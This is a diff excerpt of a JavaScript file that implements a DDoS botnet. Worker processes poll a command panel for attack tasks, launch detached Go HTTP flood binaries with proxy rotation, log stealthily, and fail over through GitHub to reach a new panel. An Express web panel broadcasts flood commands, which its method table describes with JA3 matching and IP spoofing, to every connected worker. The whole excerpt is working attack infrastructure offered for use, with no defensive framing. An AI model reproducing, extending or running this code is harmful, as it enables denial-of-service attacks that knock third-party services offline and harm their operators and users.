561
|
+
}
|
|
562
|
+
}
|
|
563
|
+
}
|
|
564
|
+
|
|
565
|
+
const spawnPromises = [];
|
|
566
|
+
|
|
567
|
+
// Method dispatch: support both h2-go and h1-go
|
|
568
|
+
if (methodUpper === "H1-GO") {
|
|
569
|
+
const h1Bin = path.join(LIB_DIR, "h1-go");
|
|
570
|
+
const h1Go = path.join(LIB_DIR, "h1-go.go");
|
|
571
|
+
// FIXED: Spawn fewer processes with more goroutines each (was: goroutinesNum processes × 1 goroutine)
|
|
572
|
+
// Now: processCount processes × goroutinesPerProcess goroutines = goroutinesNum total
|
|
573
|
+
const processCount = Math.min(cpuCores * 2, 64); // Max 64 processes
|
|
574
|
+
const goroutinesPerProcess = Math.max(1, Math.ceil(goroutinesNum / processCount));
|
|
575
|
+
workerDebugLog("attack", `H1-GO: ${processCount} processes × ${goroutinesPerProcess} goroutines = ${processCount * goroutinesPerProcess} total`);
|
|
576
|
+
|
|
577
|
+
if (fs.existsSync(h1Bin)) {
|
|
578
|
+
fs.chmodSync(h1Bin, 0o755);
|
|
579
|
+
for (let i = 0; i < processCount; i++) {
|
|
580
|
+
const args = [targetHost, String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
|
|
581
|
+
spawnPromises.push(spawnDetachedBinary(h1Bin, args, execKey));
|
|
582
|
+
}
|
|
583
|
+
} else if (fs.existsSync(h1Go)) {
|
|
584
|
+
for (let i = 0; i < processCount; i++) {
|
|
585
|
+
const args = ["run", h1Go, targetHost, String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
|
|
586
|
+
spawnPromises.push(spawnDetachedBinary("go", args, execKey));
|
|
587
|
+
}
|
|
588
|
+
}
|
|
589
|
+
} else {
|
|
590
|
+
// Default: H2-GO (dor)
|
|
591
|
+
const dorBin = path.join(LIB_DIR, "dor");
|
|
592
|
+
if (fs.existsSync(dorBin)) {
|
|
593
|
+
fs.chmodSync(dorBin, 0o755);
|
|
594
|
+
for (let i = 0; i < threadCount; i++) {
|
|
595
|
+
spawnPromises.push(spawnDetachedBinary(dorBin, [targetHost, targetPort, String(durationSec), String(goroutinesNum), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])], execKey));
|
|
596
|
+
}
|
|
597
|
+
}
|
|
598
|
+
}
|
|
599
|
+
|
|
600
|
+
if (spawnPromises.length > 0) await Promise.all(spawnPromises);
|
|
601
|
+
return spawnPromises.length;
|
|
602
|
+
}
|
|
603
|
+
|
|
604
|
+
let workerProxyHash = "";
|
|
605
|
+
|
|
606
|
+
function saveProxiesToLocal(proxies) {
|
|
607
|
+
try {
|
|
608
|
+
// Auto-dedup: remove duplicates
|
|
609
|
+
const seen = {};
|
|
610
|
+
const deduped = [];
|
|
611
|
+
for (const p of proxies) {
|
|
612
|
+
const trimmed = p.trim();
|
|
613
|
+
if (trimmed && !seen[trimmed]) {
|
|
614
|
+
seen[trimmed] = true;
|
|
615
|
+
deduped.push(trimmed);
|
|
616
|
+
}
|
|
617
|
+
}
|
|
618
|
+
const dupesRemoved = proxies.length - deduped.length;
|
|
619
|
+
fs.writeFileSync(path.join(__dirname, "proxy.txt"), deduped.join('\n') + '\n');
|
|
620
|
+
workerDebugLog("proxy", `Saved ${deduped.length} proxies to local proxy.txt`);
|
|
621
|
+
if (dupesRemoved > 0) workerDebugLog("proxy", `Deduped: removed ${dupesRemoved} duplicates`);
|
|
622
|
+
} catch (e) { workerDebugLog("error", `Failed to save proxies: ${e.message}`); }
|
|
623
|
+
}
|
|
624
|
+
|
|
625
|
+
async function pollLoop() {
|
|
626
|
+
const publicIP = await getPublicIP();
|
|
627
|
+
workerDebugLog("info", `Polling started — ID: ${WORKER_ID} | IP: ${publicIP || "unknown"} | Panel: ${panelUrl}`);
|
|
628
|
+
|
|
629
|
+
// Initial proxy fetch
|
|
630
|
+
try {
|
|
631
|
+
const proxyRes = await fetchProxyList();
|
|
632
|
+
if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
|
|
633
|
+
workerProxyHash = proxyRes.hash;
|
|
634
|
+
saveProxiesToLocal(proxyRes.proxies);
|
|
635
|
+
}
|
|
636
|
+
} catch (_) {}
|
|
637
|
+
|
|
638
|
+
// ── Recursive setTimeout — NO overlap, one poll at a time ──
|
|
639
|
+
function schedulePoll() {
|
|
640
|
+
setTimeout(async () => {
|
|
641
|
+
try {
|
|
642
|
+
const sysInfo = {
|
|
643
|
+
activeProcesses: procs.length,
|
|
644
|
+
cpu: parseFloat(_cpuPercent),
|
|
645
|
+
cpuCores: os.cpus().length,
|
|
646
|
+
mem: Math.round(((os.totalmem() - os.freemem()) / os.totalmem()) * 100),
|
|
647
|
+
memTotal: Math.round(os.totalmem() / (1024 * 1024 * 1024)),
|
|
648
|
+
uptime: Math.round(process.uptime())
|
|
649
|
+
};
|
|
650
|
+
|
|
651
|
+
if (workerLogBuffer.length > 0) {
|
|
652
|
+
sysInfo.logs = [...workerLogBuffer];
|
|
653
|
+
workerLogBuffer.length = 0;
|
|
654
|
+
}
|
|
655
|
+
|
|
656
|
+
const result = await pollRequest("POST", "/api/worker/poll", {
|
|
657
|
+
taskId: currentTaskId,
|
|
658
|
+
status: sysInfo,
|
|
659
|
+
workerId: WORKER_ID
|
|
660
|
+
});
|
|
661
|
+
|
|
662
|
+
if (result.ok && result.body) {
|
|
663
|
+
consecutiveFails = 0;
|
|
664
|
+
const { action, task } = result.body;
|
|
665
|
+
|
|
666
|
+
if (action === "attack" && task && task.id !== _lastTaskId) {
|
|
667
|
+
_lastTaskId = task.id;
|
|
668
|
+
currentTaskId = task.id;
|
|
669
|
+
stealthLog(` ⚡ Task received: ${task.method} → ${task.target} (${task.duration}s)`);
|
|
670
|
+
workerDebugLog("attack", `Task received: ${task.method} → ${task.target} (${task.duration}s)`, { id: task.id, goroutines: task.goroutines, threads: task.threads });
|
|
671
|
+
await executeAttack(task);
|
|
672
|
+
} else if (action === "attack" && task && task.id === _lastTaskId) {
|
|
673
|
+
// Same task again — skip (prevents double-execute)
|
|
674
|
+
} else if (action === "stop") {
|
|
675
|
+
stealthLog(` 🛑 Stop received`);
|
|
676
|
+
workerDebugLog("attack", "Stop received — halting all binaries");
|
|
677
|
+
haltAll();
|
|
678
|
+
} else if (action === "restart") {
|
|
679
|
+
stealthLog(` 🔄 Restart received — exiting for auto-restart`);
|
|
680
|
+
workerDebugLog("system", "Restart requested — shutting down");
|
|
681
|
+
haltAll();
|
|
682
|
+
process.exit(0);
|
|
683
|
+
} else if (action === "update-proxies") {
|
|
684
|
+
try {
|
|
685
|
+
const proxyRes = await fetchProxyList();
|
|
686
|
+
if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
|
|
687
|
+
workerProxyHash = proxyRes.hash;
|
|
688
|
+
saveProxiesToLocal(proxyRes.proxies);
|
|
689
|
+
}
|
|
690
|
+
} catch (_) {}
|
|
691
|
+
}
|
|
692
|
+
}
|
|
693
|
+
|
|
694
|
+
// Periodic proxy check every 5 minutes
|
|
695
|
+
if (Date.now() % 300000 < POLL_INTERVAL) {
|
|
696
|
+
try {
|
|
697
|
+
const proxyRes = await fetchProxyList();
|
|
698
|
+
if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
|
|
699
|
+
workerProxyHash = proxyRes.hash;
|
|
700
|
+
saveProxiesToLocal(proxyRes.proxies);
|
|
701
|
+
}
|
|
702
|
+
} catch (_) {}
|
|
703
|
+
}
|
|
704
|
+
} catch (e) {
|
|
705
|
+
consecutiveFails++;
|
|
706
|
+
if (consecutiveFails >= 3) {
|
|
707
|
+
stealthLog(` [failover] Panel unreachable (${consecutiveFails}x), checking GitHub for new URL...`);
|
|
708
|
+
pollGitHubPanelConfig();
|
|
709
|
+
if (consecutiveFails >= 10) consecutiveFails = 5;
|
|
710
|
+
}
|
|
711
|
+
}
|
|
712
|
+
// Schedule next poll ONLY after this one finishes
|
|
713
|
+
schedulePoll();
|
|
714
|
+
}, POLL_INTERVAL);
|
|
715
|
+
}
|
|
716
|
+
schedulePoll();
|
|
717
|
+
|
|
718
|
+
// ── Auto-clean dead proxies every 30 minutes ──
|
|
719
|
+
setInterval(async () => {
|
|
720
|
+
const proxyFilePath = path.join(__dirname, "proxy.txt");
|
|
721
|
+
if (!fs.existsSync(proxyFilePath)) return;
|
|
722
|
+
try {
|
|
723
|
+
const proxyContent = fs.readFileSync(proxyFilePath, 'utf8');
|
|
724
|
+
const allProxies = proxyContent.split('\n').filter(l => l.trim());
|
|
725
|
+
if (allProxies.length < 10) return;
|
|
726
|
+
const sampleSize = Math.min(10, allProxies.length);
|
|
727
|
+
const sampled = [];
|
|
728
|
+
const temp = [...allProxies];
|
|
729
|
+
for (let i = 0; i < sampleSize; i++) {
|
|
730
|
+
const idx = Math.floor(Math.random() * temp.length);
|
|
731
|
+
sampled.push(temp.splice(idx, 1)[0]);
|
|
732
|
+
}
|
|
733
|
+
let deadCount = 0;
|
|
734
|
+
await Promise.all(sampled.map(async (proxy) => {
|
|
735
|
+
return new Promise((resolve) => {
|
|
736
|
+
const [host, port] = proxy.split(':');
|
|
737
|
+
const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
|
|
738
|
+
sock.destroy();
|
|
739
|
+
resolve(true);
|
|
740
|
+
});
|
|
741
|
+
sock.on('error', () => { deadCount++; resolve(false); });
|
|
742
|
+
sock.on('timeout', () => { sock.destroy(); deadCount++; resolve(false); });
|
|
743
|
+
});
|
|
744
|
+
}));
|
|
745
|
+
if (deadCount > sampleSize / 2) {
|
|
746
|
+
workerDebugLog("proxy", `Scheduled cleanup: ${deadCount}/${sampleSize} sample dead`);
|
|
747
|
+
const live = [];
|
|
748
|
+
await Promise.all(allProxies.map(async (proxy) => {
|
|
749
|
+
return new Promise((resolve) => {
|
|
750
|
+
const [h, p] = proxy.split(':');
|
|
751
|
+
const sock = net.createConnection({ host: h, port: parseInt(p) || 8080, timeout: 3000 }, () => {
|
|
752
|
+
sock.destroy();
|
|
753
|
+
live.push(proxy);
|
|
754
|
+
resolve();
|
|
755
|
+
});
|
|
756
|
+
sock.on('error', () => resolve());
|
|
757
|
+
sock.on('timeout', () => { sock.destroy(); resolve(); });
|
|
758
|
+
});
|
|
759
|
+
}));
|
|
760
|
+
if (live.length > 0) {
|
|
761
|
+
// Dedup before save
|
|
762
|
+
const seen = {};
|
|
763
|
+
const deduped = [];
|
|
764
|
+
for (const p of live) {
|
|
765
|
+
if (!seen[p]) { seen[p] = true; deduped.push(p); }
|
|
766
|
+
}
|
|
767
|
+
fs.writeFileSync(proxyFilePath, deduped.join('\n') + '\n');
|
|
768
|
+
workerDebugLog("proxy", `Cleanup: ${deduped.length} saved (${allProxies.length - deduped.length} dead/dupes removed)`);
|
|
769
|
+
}
|
|
770
|
+
}
|
|
771
|
+
} catch (_) {}
|
|
772
|
+
}, 30 * 60 * 1000).unref(); // Every 30 minutes
|
|
773
|
+
}
|
|
774
|
+
|
|
775
|
+
function fetchProxyList() {
|
|
776
|
+
return new Promise((resolve) => {
|
|
777
|
+
const u = new URL("/api/worker/proxies", panelUrl);
|
|
778
|
+
const isHttps = u.protocol === "https:";
|
|
779
|
+
const mod = isHttps ? https : http;
|
|
780
|
+
const opts = {
|
|
781
|
+
hostname: u.hostname, port: u.port || (isHttps ? 443 : 80),
|
|
782
|
+
path: u.pathname, method: "GET",
|
|
783
|
+
headers: { "Authorization": "Bearer " + WORKER_SECRET },
|
|
784
|
+
timeout: 10000
|
|
785
|
+
};
|
|
786
|
+
const req = mod.request(opts, (res) => {
|
|
787
|
+
let body = "";
|
|
788
|
+
res.on("data", c => { body += c; });
|
|
789
|
+
res.on("end", () => {
|
|
790
|
+
try { resolve({ ok: res.statusCode < 400, ...JSON.parse(body) }); }
|
|
791
|
+
catch { resolve({ ok: false, proxies: [], hash: "", count: 0 }); }
|
|
792
|
+
});
|
|
793
|
+
});
|
|
794
|
+
req.on("timeout", () => { req.destroy(); resolve({ ok: false, proxies: [], hash: "", count: 0 }); });
|
|
795
|
+
req.on("error", () => resolve({ ok: false, proxies: [], hash: "", count: 0 }));
|
|
796
|
+
req.end();
|
|
797
|
+
});
|
|
798
|
+
}
|
|
799
|
+
|
|
800
|
+
pollLoop();
|
|
801
|
+
}
|
|
802
|
+
|
|
803
|
+
function startWebPanel(portOverride) {
|
|
804
|
+
const express = require("express");
|
|
805
|
+
const path = require("path");
|
|
806
|
+
const fs = require("fs");
|
|
807
|
+
const os = require("os");
|
|
808
|
+
const crypto = require("crypto");
|
|
809
|
+
const { spawn } = require("child_process");
|
|
810
|
+
const https = require("https");
|
|
811
|
+
const http = require("http");
|
|
812
|
+
|
|
813
|
+
const WEB_PORT = portOverride || parseInt(process.env.WEB_PORT) || parseInt(process.env.PORT) || CONFIG.port || 8080;
|
|
814
|
+
const WEB_USER = process.env.WEB_USER || CONFIG.webUser || "admin";
|
|
815
|
+
const WEB_PASS = process.env.WEB_PASS || CONFIG.webPass || "admin123";
|
|
816
|
+
const LIB_DIR = path.join(__dirname, "lib/cache");
|
|
817
|
+
const PROXY_FILE = path.join(__dirname, "proxy.txt");
|
|
818
|
+
const HISTORY_FILE = path.join(__dirname, "history.json");
|
|
819
|
+
const WORKER_SECRET = CONFIG.workerSecret;
|
|
820
|
+
|
|
821
|
+
// ─── Helpers ──────────────────────────────────────────────
|
|
822
|
+
// Real-time CPU delta sampler
|
|
823
|
+
let _lastCpu = null, _cpuPercent = '0.0';
|
|
824
|
+
function _sampleCpu() {
|
|
825
|
+
const cpus = os.cpus();
|
|
826
|
+
const now = cpus.map(c => ({ ...c.times }));
|
|
827
|
+
if (_lastCpu) {
|
|
828
|
+
const deltas = now.map((curr, i) => {
|
|
829
|
+
const prev = _lastCpu[i];
|
|
830
|
+
const idle = curr.idle - prev.idle;
|
|
831
|
+
const total = Object.keys(curr).reduce((s, k) => s + curr[k] - (prev[k] || 0), 0);
|
|
832
|
+
return total === 0 ? 0 : (1 - idle / total) * 100;
|
|
833
|
+
});
|
|
834
|
+
_cpuPercent = (deltas.reduce((a, b) => a + b, 0) / deltas.length).toFixed(1);
|
|
835
|
+
}
|
|
836
|
+
_lastCpu = now;
|
|
837
|
+
}
|
|
838
|
+
setInterval(_sampleCpu, 1000).unref();
|
|
839
|
+
_sampleCpu();
|
|
840
|
+
|
|
841
|
+
function getPublicIP() {
|
|
842
|
+
return new Promise((resolve) => {
|
|
843
|
+
const req = https.get("https://api.ipify.org?format=json", { timeout: 5000 }, (res) => {
|
|
844
|
+
let body = "";
|
|
845
|
+
res.on("data", c => { body += c; });
|
|
846
|
+
res.on("end", () => { try { resolve(JSON.parse(body).ip); } catch (_) { resolve(null); } });
|
|
847
|
+
});
|
|
848
|
+
req.on("error", () => resolve(null));
|
|
849
|
+
req.on("timeout", () => { req.destroy(); resolve(null); });
|
|
850
|
+
});
|
|
851
|
+
}
|
|
852
|
+
|
|
853
|
+
// ─── Session Auth ────────────────────────────────────────
|
|
854
|
+
const sessions = new Map();
|
|
855
|
+
const SESSION_TTL = 24 * 60 * 60 * 1000;
|
|
856
|
+
function createSession(username) { const token = crypto.randomBytes(32).toString("hex"); sessions.set(token, { username, createdAt: Date.now() }); return token; }
|
|
857
|
+
function validateSession(token) { if (!token) return null; const session = sessions.get(token); if (!session) return null; if (Date.now() - session.createdAt > SESSION_TTL) { sessions.delete(token); return null; } return session; }
|
|
858
|
+
function deleteSession(token) { sessions.delete(token); }
|
|
859
|
+
setInterval(() => { const now = Date.now(); for (const [token, session] of sessions.entries()) { if (now - session.createdAt > SESSION_TTL) sessions.delete(token); } }, 60 * 60 * 1000);
|
|
860
|
+
|
|
861
|
+
// ─── Thread Pool ──────────────────────────────────────────
|
|
862
|
+
const threadPool = { activeThreads: 0, poolLimit: CONFIG.maxThreadPool, children: [],
|
|
863
|
+
spawn(scriptPath, args = []) {
|
|
864
|
+
return new Promise((resolve) => {
|
|
865
|
+
if (this.activeThreads >= this.poolLimit) return resolve({ success: false, error: "Thread pool full" });
|
|
866
|
+
this.activeThreads++;
|
|
867
|
+
let child;
|
|
868
|
+
try { child = spawn("node", [scriptPath, ...args], { detached: false, stdio: ["ignore", "pipe", "pipe"], env: { ...process.env } }); } catch (e) { this.activeThreads--; return resolve({ success: false, error: e.message }); }
|
|
869
|
+
this.children.push(child);
|
|
870
|
+
child.on("error", () => { this.activeThreads--; this.children = this.children.filter(c => c !== child); resolve({ success: false, error: "Spawn error" }); });
|
|
871
|
+
child.on("close", (code) => { this.activeThreads--; this.children = this.children.filter(c => c !== child); resolve({ success: code === 0, code }); });
|
|
872
|
+
child.unref();
|
|
873
|
+
});
|
|
874
|
+
},
|
|
875
|
+
spawnDetached(executor, args = []) {
|
|
876
|
+
return new Promise((resolve) => {
|
|
877
|
+
const child = spawn(executor, args, { detached: true, stdio: "ignore" });
|
|
878
|
+
child.unref(); this.children.push(child);
|
|
879
|
+
this.activeThreads++;
|
|
880
|
+
child.on("exit", () => { this.activeThreads = Math.max(0, this.activeThreads - 1); this.children = this.children.filter(c => c !== child); });
|
|
881
|
+
resolve({ pid: child.pid });
|
|
882
|
+
});
|
|
883
|
+
},
|
|
884
|
+
setMaxThreads(max) { this.poolLimit = Math.max(parseInt(max) || 4, 4); },
|
|
885
|
+
stopAll() { this.children.forEach(c => { try { if (!c.killed) c.kill("SIGTERM"); } catch {} }); this.children = []; this.activeThreads = 0; }
|
|
886
|
+
};
|
|
887
|
+
|
|
888
|
+
const activeAttacks = new Map();
|
|
889
|
+
|
|
890
|
+
function parseDuration(duration) {
|
|
891
|
+
if (!duration) return 60;
|
|
892
|
+
const lower = String(duration).toLowerCase();
|
|
893
|
+
if (["max", "unlimited", "inf"].includes(lower)) return 999999;
|
|
894
|
+
const match = lower.match(/^(\d+)(s|m|h|d)?$/);
|
|
895
|
+
if (!match) return parseInt(duration) || 60;
|
|
896
|
+
const v = parseInt(match[1]);
|
|
897
|
+
if (!match[2]) return v;
|
|
898
|
+
switch (match[2]) { case "m": return v * 60; case "h": return v * 3600; case "d": return v * 86400; default: return v; }
|
|
899
|
+
}
|
|
900
|
+
|
|
901
|
+
function getSystemInfo() {
|
|
902
|
+
const cpus = os.cpus();
|
|
903
|
+
const totalMem = os.totalmem(), freeMem = os.freemem(), usedMem = totalMem - freeMem;
|
|
904
|
+
return { hostname: os.hostname(), platform: os.platform(), arch: os.arch(), uptime: Math.floor(os.uptime()), cpus: cpus.length, cpuAvg: _cpuPercent, totalMem, usedMem, freeMem, memPercent: ((usedMem / totalMem) * 100).toFixed(1), loadAvg1: os.loadavg()[0].toFixed(2), loadAvg5: os.loadavg()[1].toFixed(2), loadAvg15: os.loadavg()[2].toFixed(2), nodeVersion: process.version };
|
|
905
|
+
}
|
|
906
|
+
|
|
907
|
+
function loadJSON(file, fallback) { try { return JSON.parse(fs.readFileSync(file, "utf8")); } catch { return fallback; } }
|
|
908
|
+
function saveJSON(file, data) { fs.writeFileSync(file, JSON.stringify(data, null, 2)); }
|
|
909
|
+
function getHistory() { return loadJSON(HISTORY_FILE, { entries: [] }).entries; }
|
|
910
|
+
function saveHistory(entries) { saveJSON(HISTORY_FILE, { entries }); }
|
|
911
|
+
function addHistoryEntry(entry) { const history = getHistory(); history.unshift({ id: Date.now(), ...entry, time: new Date().toISOString() }); if (history.length > 200) history.length = 200; saveHistory(history); }
|
|
912
|
+
|
|
913
|
+
// ─── Attack Launchers ─────────────────────────────────────
|
|
914
|
+
async function launchH2Go(target, port, durationSec, threads, goroutines) {
|
|
915
|
+
const cpuCores = os.cpus().length;
|
|
916
|
+
const threadCount = Math.min(parseInt(threads) || cpuCores, CONFIG.maxThreadPool);
|
|
917
|
+
const goroutinesNum = parseInt(goroutines) || cpuCores * 1000;
|
|
918
|
+
const dorBinary = path.join(LIB_DIR, "dor");
|
|
919
|
+
const dorGo = path.join(LIB_DIR, "dor.go");
|
|
920
|
+
const spawnPromises = [];
|
|
921
|
+
if (fs.existsSync(dorBinary)) { fs.chmodSync(dorBinary, 0o755); for (let i = 0; i < threadCount; i++) { const args = [String(target), String(port), String(durationSec), String(goroutinesNum)]; if (fs.existsSync(PROXY_FILE)) args.push(PROXY_FILE); spawnPromises.push(threadPool.spawnDetached(dorBinary, args)); } }
|
|
922
|
+
else if (fs.existsSync(dorGo)) { for (let i = 0; i < threadCount; i++) { const args = ["run", dorGo, String(target), String(port), String(durationSec), String(goroutinesNum)]; if (fs.existsSync(PROXY_FILE)) args.push(PROXY_FILE); spawnPromises.push(threadPool.spawnDetached("go", args)); } }
|
|
923
|
+
else return [{ script: "h2-go", success: false, error: "H2-GO engine not found" }];
|
|
924
|
+
if (spawnPromises.length > 0) await Promise.all(spawnPromises);
|
|
925
|
+
return [{ script: "h2-go", instances: threadCount, goroutines: goroutinesNum }];
|
|
926
|
+
}
|
|
927
|
+
|
|
928
|
+
async function launchH1Go(target, port, durationSec, goroutinesNum, execKey) {
|
|
929
|
+
const h1Bin = path.join(LIB_DIR, "h1-go");
|
|
930
|
+
const h1Go = path.join(LIB_DIR, "h1-go.go");
|
|
931
|
+
const spawnPromises = [];
|
|
932
|
+
// FIXED: Spawn fewer processes with more goroutines each
|
|
933
|
+
const cpuCores = os.cpus().length;
|
|
934
|
+
const processCount = Math.min(cpuCores * 2, 64); // Max 64 processes
|
|
935
|
+
const goroutinesPerProcess = Math.max(1, Math.ceil(goroutinesNum / processCount));
|
|
936
|
+
|
|
937
|
+
if (fs.existsSync(h1Bin)) {
|
|
938
|
+
fs.chmodSync(h1Bin, 0o755);
|
|
939
|
+
for (let i = 0; i < processCount; i++) {
|
|
940
|
+
const args = [String(target), String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
|
|
941
|
+
spawnPromises.push(spawnDetachedBinary(h1Bin, args, execKey));
|
|
942
|
+
}
|
|
943
|
+
} else if (fs.existsSync(h1Go)) {
|
|
944
|
+
for (let i = 0; i < processCount; i++) {
|
|
945
|
+
const args = ["run", h1Go, String(target), String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
|
|
946
|
+
spawnPromises.push(spawnDetachedBinary("go", args, execKey));
|
|
947
|
+
}
|
|
948
|
+
} else return [{ script: "h1-go", success: false, error: "H1-GO engine not found" }];
|
|
949
|
+
if (spawnPromises.length > 0) await Promise.all(spawnPromises);
|
|
950
|
+
return [{ script: "h1-go", instances: processCount, goroutinesPerProcess, totalGoroutines: processCount * goroutinesPerProcess }];
|
|
951
|
+
}
|
|
952
|
+
|
|
953
|
+
const methods = {
|
|
954
|
+
"h2-go": { label: "H2-GO", category: "Layer 7", description: "DOR — Premium HTTP flood with uTLS, JA3 matching, SO_REUSEPORT, adaptive RPS", params: ["target (host)", "port", "duration (seconds/max)", "threads", "goroutines"], defaultThreads: null, defaultGoroutines: null, launch: launchH2Go },
|
|
955
|
+
"h1-go": { label: "H1-GO", category: "Layer 7", description: "HTTP/1.1 high-volume flood with keep-alive, UA rotation, IP spoofing", params: ["target (url)", "duration (seconds/max)", "goroutines"], defaultThreads: null, defaultGoroutines: 5000, launch: launchH1Go }
|
|
956
|
+
};
|
|
957
|
+
|
|
958
|
+
// ─── Express App ──────────────────────────────────────────
|
|
959
|
+
const app = express();
|
|
960
|
+
app.use(express.json({ limit: "10mb" }));
|
|
961
|
+
app.use(express.urlencoded({ extended: true }));
|
|
962
|
+
app.use(express.static(path.join(__dirname, "public")));
|
|
963
|
+
|
|
964
|
+
function requireAuth(req, res, next) {
|
|
965
|
+
const token = req.headers["x-auth-token"] || req.query.token;
|
|
966
|
+
const session = validateSession(token);
|
|
967
|
+
if (!session) return res.status(401).json({ error: "Unauthorized", redirect: "/login" });
|
|
968
|
+
req.session = session;
|
|
969
|
+
next();
|
|
970
|
+
}
|
|
971
|
+
|
|
972
|
+
// ─── Auth Routes ──────────────────────────────────────────
|
|
973
|
+
app.post("/api/login", (req, res) => {
|
|
974
|
+
const { username, password } = req.body;
|
|
975
|
+
const ip = req.ip; const now = Date.now();
|
|
976
|
+
if (!app.loginAttempts) app.loginAttempts = new Map();
|
|
977
|
+
const attempts = app.loginAttempts.get(ip) || [];
|
|
978
|
+
const recentAttempts = attempts.filter(t => now - t < 60000);
|
|
979
|
+
if (recentAttempts.length >= 5) return res.status(429).json({ error: "Too many login attempts. Try again later." });
|
|
980
|
+
if (username === WEB_USER && password === WEB_PASS) { const token = createSession(username); app.loginAttempts.delete(ip); res.json({ status: "ok", token, username, message: "Login successful" }); }
|
|
981
|
+
else { recentAttempts.push(now); app.loginAttempts.set(ip, recentAttempts); res.status(401).json({ error: "Invalid username or password", remainingAttempts: Math.max(0, 5 - recentAttempts.length) }); }
|
|
982
|
+
});
|
|
983
|
+
app.post("/api/logout", (req, res) => { const token = req.headers["x-auth-token"]; if (token) deleteSession(token); res.json({ status: "ok", message: "Logged out successfully" }); });
|
|
984
|
+
app.get("/api/auth/me", (req, res) => { const token = req.headers["x-auth-token"] || req.query.token; const session = validateSession(token); if (!session) return res.status(401).json({ authenticated: false }); res.json({ authenticated: true, username: session.username }); });
|
|
985
|
+
|
|
986
|
+
// ─── API Routes ───────────────────────────────────────────
|
|
987
|
+
app.get("/api/dashboard", requireAuth, (req, res) => { const sys = getSystemInfo(); const panels = loadPanels(); const history = getHistory(); res.json({ system: sys, stats: { activeAttacks: activeAttacks.size, activeThreads: threadPool.activeThreads, workerPanels: panels.length, totalAttacks: history.length }, methods: Object.keys(methods) }); });
|
|
988
|
+
app.get("/api/system", requireAuth, (req, res) => res.json(getSystemInfo()));
|
|
989
|
+
app.get("/api/methods", requireAuth, (req, res) => { res.json({ methods: Object.entries(methods).map(([key, m]) => ({ id: key, ...m })) }); });
|
|
990
|
+
|
|
991
|
+
app.post("/api/attack", requireAuth, async (req, res) => {
|
|
992
|
+
const { method, target, port, duration, threads, goroutines } = req.body;
|
|
993
|
+
if (!method || !target || !port || !duration) return res.status(400).json({ error: "method, target, port, and duration are required" });
|
|
994
|
+
const m = methods[method];
|
|
995
|
+
if (!m) return res.status(400).json({ error: `Unknown method: ${method}` });
|
|
996
|
+
const dur = parseDuration(duration);
|
|
997
|
+
const portNum = parseInt(port);
|
|
998
|
+
if (portNum < 1 || portNum > 65535) return res.status(400).json({ error: "Invalid port (1-65535)" });
|
|
999
|
+
if (dur < 1 || dur > 999999) return res.status(400).json({ error: "Invalid duration" });
|
|
1000
|
+
|
|
1001
|
+
// ═══════════════════════════════════════════════════════
|
|
1002
|
+
// WEB MODE: ONLY BROADCAST TO POLLING WORKERS
|
|
1003
|
+
// ═══════════════════════════════════════════════════════
|
|
1004
|
+
const localResult = { disabled: true, message: "Web panel cannot attack locally, only broadcast to workers" };
|
|
1005
|
+
const attackId = Date.now().toString();
|
|
1006
|
+
activeAttacks.set(attackId, { method, target, port: portNum, duration: dur, threads, startTime: Date.now(), localResult });
|
|
1007
|
+
setTimeout(() => { activeAttacks.delete(attackId); }, (dur + 30) * 1000);
|
|
1008
|
+
|
|
1009
|
+
const panels = loadPanels();
|
|
1010
|
+
const workers = global.activeWorkers || {};
|
|
1011
|
+
const workerCount = Object.keys(workers).length;
|
|
1012
|
+
|
|
1013
|
+
if (workerCount > 0) {
|
|
1014
|
+
// Send to all polling workers via pendingCommands
|
|
1015
|
+
const cpuCores = os.cpus().length;
|
|
1016
|
+
const finalGoroutines = goroutines ? parseInt(goroutines) : cpuCores * 3000;
|
|
1017
|
+
const finalThreads = threads ? Math.min(parseInt(threads), 256) : Math.min(cpuCores * 2, 256);
|
|
1018
|
+
const execKey = process.env.EXEC_KEY || "夜影风暴";
|
|
1019
|
+
|
|
1020
|
+
let idx = 0;
|
|
1021
|
+
for (const wid of Object.keys(workers)) {
|
|
1022
|
+
pendingCommands.set(wid, {
|
|
1023
|
+
action: "attack",
|
|
1024
|
+
task: {
|
|
1025
|
+
id: attackId + "-" + wid,
|
|
1026
|
+
target: `${target}:${portNum}`,
|
|
1027
|
+
duration: String(dur),
|
|
1028
|
+
threads: String(finalThreads),
|
|
1029
|
+
method: method || "h2-go",
|
|
1030
|
+
goroutines: String(finalGoroutines),
|
|
1031
|
+
execKey
|
|
1032
|
+
}
|
|
1033
|
+
});
|
|
1034
|
+
idx++;
|
|
1035
|
+
}
|
|
1036
|
+
|
|
1037
|
+
stealthLog(`📡 Broadcasting attack to ${workerCount} polling worker(s)...`);
|
|
1038
|
+
addHistoryEntry({ command: method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, localResults: 0, workerResults: workerCount });
|
|
1039
|
+
res.json({ status: "ok", attackId, method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, local: localResult, workers: `broadcasted to ${workerCount} polling worker(s)` });
|
|
1040
|
+
} else if (panels.length > 0) {
|
|
1041
|
+
stealthLog(`📡 Broadcasting attack to ${panels.length} HTTP panel worker(s)...`);
|
|
1042
|
+
addHistoryEntry({ command: method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, localResults: 0, workerResults: panels.length });
|
|
1043
|
+
res.json({ status: "ok", attackId, method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, local: localResult, workers: `broadcasted to ${panels.length} HTTP panel worker(s)` });
|
|
1044
|
+
} else {
|
|
1045
|
+
stealthLog(`⚠️ Attack rejected — no workers available (web panel cannot attack locally)`);
|
|
1046
|
+
activeAttacks.delete(attackId);
|
|
1047
|
+
res.status(400).json({ error: "No workers available. Web panel can only broadcast attacks to workers, not execute locally." });
|
|
1048
|
+
}
|
|
1049
|
+
